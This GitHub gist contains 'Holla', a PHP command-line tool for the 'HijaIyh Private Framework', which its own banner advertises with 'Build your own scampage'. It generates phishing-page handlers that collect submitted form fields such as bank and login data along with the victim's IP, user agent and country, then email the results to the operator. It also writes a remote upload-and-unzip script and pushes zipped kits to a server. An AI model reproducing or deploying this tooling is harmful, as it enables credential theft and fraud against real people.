Skip to content

Instantly share code, notes, and snippets.

@justalinko
Created September 16, 2020 17:39
Show Gist options
  • Save justalinko/ca5bf638b55c6c89e8ae61d79c3eeae3 to your computer and use it in GitHub Desktop.
Save justalinko/ca5bf638b55c6c89e8ae61d79c3eeae3 to your computer and use it in GitHub Desktop.
Holla is command line interface for HiFramework {HijaIyh Private Framework}
#!/usr/bin/php
<?php
/**
* @author shutdown57
* @author KarangranduCoder
*
* @copyright 2018-2020
*
* Holla is command line interface for HiFramework {HijaIyh Private Framework}
* Continue project from "hifw"
*/
Class Holla{
private $app = __DIR__.'/HiApp/';
private $action = __DIR__.'/HiApp/action/';
private $request = __DIR__.'/HiApp/request/';
private $templates = __DIR__.'/templates/';
private $ask;
public function __construct()
{
print "
_ _ _______ _
| | | (_) ___| __ __ _ _ __ ___ _____ _____ _ __| | __
| |_| | | |_ | '__/ _` | '_ ` _ \ / _ \ \ /\ / / _ \| '__| |/ /
| _ | | _|| | | (_| | | | | | | __/\ V V / (_) | | | <
|_| |_|_|_| |_| \__,_|_| |_| |_|\___| \_/\_/ \___/|_| |_|\_\
===============================================================
## HijaIyh Private Framework - Build your own scampage ##
===============================================================
## Holla command Line Interfaces. - Do your magic with holla ##
===============================================================
\n";
}
/** CLI COMMAND SECTION */
public function cli_help()
{
print "## Available commands : \n\n";
print "======================================================\n";
$command = get_class_methods($this);
foreach($command as $cli)
{
if(preg_match("/cli_/",$cli))
{
$cli = str_replace("cli_","",$cli);
print " => $cli \n";
}
}
print "======================================================\n";
}
public function zipper($name)
{
return @system('zip -r '.$name.' *');
}
public function recursive_copy($src,$dst) {
$dir = opendir($src);
@mkdir($dst);
while(( $file = readdir($dir)) ) {
if (( $file != '.' ) && ( $file != '..' )) {
if ( is_dir($src . '/' . $file) ) {
$this->recursive_copy($src .'/'. $file, $dst .'/'. $file);
}
else {
copy($src .'/'. $file,$dst .'/'. $file);
}
}
}
closedir($dir);
}
public function rm_rf($str) {
// Check for files
if (is_file($str)) {
// If it is file then remove by
// using unlink function
return unlink($str);
}
// If it is a directory.
elseif (is_dir($str)) {
// Get the list of the files in this
// directory
$scan = glob(rtrim($str, '/').'/*');
// Loop through the list of files
foreach($scan as $index=>$path) {
// Call recursive function
$this->rm_rf($path);
}
// Remove the directory itself
return @rmdir($str);
}
}
public function cli_git()
{
echo "##################### HOLLA GIT CONSOLE ##################### \n";
echo "'quit' for exiting the holla git console \n\n";
$fp = fopen("php://stdin", "r");
$in = '';
while($in != "quit") {
echo "holla:git > ";
$in=trim(fgets($fp));
@system('git '.$in);
echo "\n";
}
}
public function cli_console()
{
echo "##################### HOLLA CONSOLE ##################### \n";
echo "'quit' for exiting the holla console \n\n";
$fp = fopen("php://stdin", "r");
$in = '';
while($in != "quit") {
echo "holla > ";
$in=trim(fgets($fp));
@system($in);
echo "\n";
}
}
public function cli_appbuild()
{
echo "# This function can build the apps just replace HiApp and public directory \n";
echo "\n\n";
mkdir(__DIR__.'/buildtemp');
sleep(1);
echo "################## Put the HiApp/ and public/ in to buildtemp/ folder ... \n";
echo "################## ENTER IF YOU DONE \n\n";
$x=trim(fgets(STDIN));
echo "# Removing HiApp/ folder ... \n";
$this->rm_rf(__DIR__.'/HiApp');
echo "# Removing public/ folder ... \n";
$this->rm_rf(__DIR__.'/public');
echo "# Copying HiApp/ from buildtemp/ ... \n";
sleep(1);
@mkdir(__DIR__.'/HiApp');
@mkdir(__DIR__.'/public');
$this->recursive_copy(__DIR__.'/buildtemp/HiApp' , __DIR__.'/HiApp/');
echo "# Copying public/ from buildtemp/ ... \n";
$this->recursive_copy(__DIR__.'/buildtemp/public' , __DIR__.'/public/');
$this->alert(1);
$removebuild = $this->ask('Wanna remove buildtemp/ [Y/n]');
if($removebuild == 'y' || $removebuild == 'Y')
{
$this->rm_rf(__DIR__.'/buildtemp');
$this->alert(1);
}
}
public function cli_config($param)
{
$getData = __DIR__.'/HiSys/config/hiconfig.ini';
$parse = parse_ini_file($getData,true);
if($param=="" || $param == null){
echo "=============================================}============\n";
foreach($parse as $key=>$val)
{
echo "## $key :: $val \n";
}
echo "=========================================================\n";
}else{
if(array_key_exists($param,$parse))
{
echo "\n ==> Change configuration \n";
echo "Current config [".$param."] = ".$parse[$param]."\n\n";
$new = $this->ask('New config '.$param);
$rpl = str_replace($parse[$param], $new , file_get_contents(__DIR__.'/HiSys/config/hiconfig.ini'));
echo "## Generationg new configuration ... \n";
sleep(1);
echo "## Creating backup configuration ... \n";
@copy(__DIR__.'/HiSys/config/hiconfig.ini',__DIR__.'/HiSys/config/hiconfig.backup');
sleep(1);
echo "###################################### \n";
if($this->saveData($rpl , __DIR__.'/HiSys/config/hiconfig.ini'))
{
$this->alert(1);
}else{
$this->alert(0);
}
echo $rpl;
}else{
echo "## configuration not found \n";
exit;
}
}
}
public function cli_uploader($name)
{
echo "## Archive all the files ... \n";
sleep(1);
$this->zipper($name);
$server = $this->ask('Kuchiyose URL :');
if(file_exists($name)){
$c = curl_init();
$arr = [CURLOPT_URL => $server,
CURLOPT_USERAGENT=>'Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15',
CURLOPT_HTTPHEADER=>array('User-Agent: Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15',
'Content-Type: multipart/form-data'),
CURLOPT_POST =>true,
CURLOPT_POSTFIELDS=> ['file' => curl_file_create(realpath(__DIR__.'/'.$name))],
CURLOPT_RETURNTRANSFER => true
];
curl_setopt_array($c,$arr);
$e = curl_exec($c);
curl_close($c);
print_r($e);
}else{
echo "## File $name not found \n";
exit;
}
}
public function cli_removetemplate()
{
$sure = $this->ask('are you sure [Y/n]');
if($sure == 'Y' || $sure == 'y' || $sure =='')
{
$scan = scandir($this->templates);
foreach($scan as $tmp)
{
if($tmp == '.' || $tmp == '..')continue;
print "## Deleting $tmp ... \n";
usleep(3000);
@unlink($this->templates.$tmp);
}
sleep(1);
echo "## Deleting templates folder ... \n";
@rmdir($this->templates);
$this->alert(1);
}
}
public function cli_createHta()
{
$content ="# Hi:Pro - HijaIyh Revolution : Generated by Holla
Options All -Indexes
RewriteEngine on
RewriteCond %{HTTP_HOST} ^{domain}$ [NC,OR]
RewriteCond %{HTTP_HOST} ^{domain}$
RewriteCond %{REQUEST_URI} !public/
RewriteRule (.*) /public/$1 [L]";
$this->saveData($content,'htaccess.txt');
$this->alert(1);
}
public function cli_clean($param)
{
if(empty($param)){
$clean = ['request' => 'Remove all request files',
'action' => 'Remove all action files',
'stats' => 'Remove all stats files',
'upload' => 'Remove all upload files',
'config' => 'Remove all config files',
'all' => 'Remove all files in HiApp/ folder'];
print "\n ## Available clean commands : \n\n\n";
foreach($clean as $cclean=>$detail)
{
print "## {$cclean} :: {$detail} \n";
}
exit;
}
$apa = $param;
print "\n\n## Cleaning $apa ... \n";
sleep(1);
if($apa != 'all'){
$content = $this->header('index.php');
$content.= "@header('HTTP/1.1 403 Forbidden');";
$content.= "die('<!DOCTYPE HTML><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');";
$scan = scandir($this->app.$apa);
foreach($scan as $bjir)
{if($bjir == '.' || $bjir == '..')continue;
print "## Deleting $bjir ... \n";
@unlink($this->app.$apa.'/'.$bjir);
usleep(3000);
}
print "## Generating index.php ... \n";
$this->saveData($content,__DIR__.'/HiApp/'.$apa.'/index.php');
$this->alert(1);
}else{
$content = $this->header('index.php');
$content.= "@header('HTTP/1.1 403 Forbidden');";
$content.= "die('<!DOCTYPE HTML><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');";
$scan = scandir($this->app);
foreach($scan as $bjor)
{ if($bjor == '.' || $bjor == '..')continue;
if(is_dir($this->app.$bjor))
{
print "## Checking $bjor ... \n";
$scan1 = scandir($this->app.$bjor);
foreach($scan1 as $dir)
{ if($bjor == '.' || $bjor == '..')continue;
print "##### Deleting {$bjor}/{$dir} ... \n";
@unlink($this->app.$bjor.'/'.$dir);
$this->saveData($content,$this->app.$bjor.'/index.php');
}
}
if(is_file($this->app.$bjor))
{
print "### Deleting $bjor ...\n";
@unlink($this->app.$bjor);
$this->saveData($content,$this->app.'/index.php');
}
}
$this->alert(1);
}
}
public function cli_serve($param)
{
$param = ($param == '') ? "127.0.0.1:5758" : $param;
print "## Holla !!\n";
print "## Developing local server ... \n";
print " Starting http://{$param} \n";
shell_exec("php -S {$param} -t public/");
}
public function cli_make($param)
{
$make = ['action' => 'Create action for page , views section',
'request' => 'Create request for action page , proccessing data section',
'render' => 'Create action,request from "templates/" folder',
'library' => 'Create library for page saved in to HiSys/lib',
'uploader' => 'Create holla uploader for automatically upload files'
];
if(empty($param))
{
print " ## Available make commands : \n\n\n";
foreach($make as $ml=>$ds)
{
print "## {$ml} :: {$ds} \n";
}
}else{
echo "\n\n";
if($param == 'action')
{
$this->createAction();
}elseif($param == 'request')
{
$this->createRequest();
}elseif($param == 'render')
{
$this->renderTemplates();
}elseif($param == 'library')
{
$this->createLib();
}elseif($param == 'uploader')
{
$this->createUploader();
}
}
}
/** END OF CLI COMMAND */
public function header($filename=null)
{
if($filename != null)
{
$filename = 'Filename : '.$filename;
}else{
$filename ='';
}
$template = '<?php
/**
* --------------------------------------------------------------------------------------------------------
* HiFramework - HijaIyh Private Framework | Holla command Line Interfaces. - Do your magic with holla
* --------------------------------------------------------------------------------------------------------
* '.$filename.' | Hash ID : '.sha1($filename).'
* --------------------------------------------------------------------------------------------------------
* @author shutdown57 < indonesianpeople.shutdown57@gmail.com >
* @author KarangranduCoder < phantom59462@gmail.com >
* @since 2018
* @copyright '.date('Y').' HijaIyh Production
* --------------------------------------------------------------------------------------------------------
* This file was generated by HiFramework - '.date('D, d-m-Y H:i:s').' ( '.date_default_timezone_get().' )
* --------------------------------------------------------------------------------------------------------
*
* Made with ♥ by : 林浩
*
**/
';
return $template;
}
public function reqTemp($postdata,$page)
{
$postdata = explode(",",$postdata);
$data ="
if(isset(\$_POST)){
\$check = [";
foreach($postdata as $post)
{
$data.="'{$post}',";
}
$data.="];";
$data.="
if(\$this->core->empty_post_array(\$check))
{
\$this->core->redirect('?page={$page}&session_id='.\$this->session_id.'&locale='.\$this->locale);
exit;
}
";
foreach($postdata as $post)
{
$data.= " \$".$post." = \$this->core->post('".$post."'); \n";
}
$data.="
\$data = [";
foreach($postdata as $post){
$data.= "'{$post}' => \$".$post.",\n";
}
$data.="
'useragent' => \$this->core->getUserAgent() ,
'ip' => \$this->core->userIP() ,
'country' => \$this->core->session('country') ,
'date' => date('D,d m Y H:i')
];
/** save session **/
\$this->core->create_session(\$data);
/** end save session **/
/** send result */
\$to = \$this->core->session('result_email');
\$from = \$this->fromName('{$page}');
\$subject = 'subject';
\$msg = \$this->core->parse_result('{$page}',\$data);
\$this->core->sendmail(\$to,\$from,\$subject,\$msg);
/** end send result */
/** stats */
\$this->core->stats('{$page}',\$subject);
/** end stats */
\$this->core->redirect(\$this->nextPage('{$page}'));
} /** Made with ♥ by : 林浩 | Hi:Pro - HijaIyh Revolution | Hash ID ".sha1($data)." | Generated by Holla CLI **/
";
return $data;
}
public function alert($type = 1)
{
if($type == 1)
{
echo "\n\n============================[ SUCCESSFULLY ]============================\n\n";
}else{
echo "\n\n============================[ FAILED BROOT ]============================\n\n";
}
}
public function saveData($content,$file,$mode = 'w')
{
$fp = fopen($file,$mode);
return fwrite($fp,$content);
fclose($fp);
}
public function ask($ask)
{
print "## {$ask} ? ";
return $this->ask = trim(fgets(STDIN));
}
public function getInputname($source)
{
$regex = '<input(.*)name="([aA-zZ]+)"|<input(.*)name=\'([aA-zZ]+)\'';
preg_match_all("#{$regex}#",$source,$match);
return implode(",",$match[2]);
}
public function createAction($filename = '' , $templates = '')
{
if($filename == '' || $templates == ''){
echo $filename."|".$templates;
$filename = $this->ask('Action Name');
$templates = $this->ask('Templates ');
$templates = ($templates != '') ? file_get_contents('templates/'.$templates.'.html') : '';
}
$path = $this->action.$filename.'.php';
$content = $this->header($filename.'.php');
if($this->saveData($content.'?>'.$templates,$path))
{
print "\n## Postdata ## \n";
print $this->getInputname($templates);
print "\n";
$this->alert(1);
}else{
$this->alert(0);
}
}
public function createRequest($filename= '',$postdata = '')
{
if($filename == '' || $postdata == ''){
$filename = $this->ask('Request Name');
$postdata = $this->ask('Postdata ( bank,login ) ');
}
$path = $this->request.$filename.'.php';
$content = $this->header($filename.'.php');
$content.= $this->reqTemp($postdata,$filename);
if($this->saveData($content,$path))
{
$this->alert(1);
}else{
$this->alert(0);
}
}
public function createUploader()
{
$data = $this->header('holla-uploader.php')."
header('Content-Type: application/json');
if(isset(\$_POST))
{
\$filename = \$_FILES['file']['name'];
\$tmp = \$_FILES['file']['tmp_name'];
if(move_uploaded_file(\$tmp , './'.basename(\$filename)) )
{
@system('unzip '.\$filename);
if(file_exists('holla'))
{
\$unzip = 'success';
}else{
\$unzip = 'failed';
}
\$data = ['status' => 'success' , 'filename' => \$filename , 'tmp' => \$tmp,'unzip' => \$unzip];
}else{
\$data = ['status' => 'error' , 'filename' => \$filename , 'tmp' => \$tmp ];
}
exit(json_encode(\$data,JSON_PRETTY_PRINT));
}";
if($this->saveData($data,'holla-uploader.php'))
{
$this->alert(1);
}else{
$this->alert(0);
}
}
public function createLib($filename = '')
{
if($filename == '')
{
$filename = $this->ask('Library Name');
}
$filename = ucfirst($filename);
$path = __DIR__.'/HiSys/lib/'.$filename.'.php';
$content = $this->header($filename.'.php');
$content.= $this->libTemp($filename);
if($this->saveData($content,$path))
{
$this->alert(1);
}else{
$this->alert(0);
}
}
public function libTemp($class)
{
$method_list = $this->ask('Create Method lists ( index,show )');
$content ="Class ".$class."
{ // Generated by Holla CLI
public function __construct(){
}";
$x = explode(",",$method_list);
foreach($x as $m)
{
$content.="
public function ".$m."()
{
// code here
}";
}
$content.="
}";
return $content;
}
public function renderTemplates()
{
$scan = scandir($this->templates);
$no=1;
$files=0;
foreach($scan as $file)
{
if(!preg_match("/html|php/",$file))continue;
if($file == '.' || $file == '..')continue;
print "## ".$no++." $file \n";
$files++;
}
$ask = $this->ask($files.' files, continue to render it all [Y/n] ');
if($ask == 'Y' || $ask == 'y' || $ask =='')
{
foreach($scan as $file){
if(!preg_match("/html|php/",$file))continue;
if($file == '.' || $file == '..')continue;
$getname = explode(".",$file);
$filename = $getname[0];
print "## Make action for $filename ... ";
usleep(2000);
$this->createAction($filename,file_get_contents($this->templates.$file));
print "## Make request for $filename ... ";
usleep(2000);
$inputname = $this->getInputname(file_get_contents($this->templates.$file));
$this->createRequest($filename,$inputname);
}
}
}
public function getCommand($param)
{
global $argv;
return @$argv[$param];
}
public function run()
{
global $argv;
if(empty($argv[1]))
{
$this->cli_help();
}else{
$param1 = $this->getCommand(1);
$param2 = $this->getCommand(2);
$param3 = $this->getCommand(3);
$methodName = 'cli_'.$param1;
if(method_exists($this, $methodName))
{
$this->$methodName($param2);
}
}
}
}
$holla = new Holla;
$holla->run();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment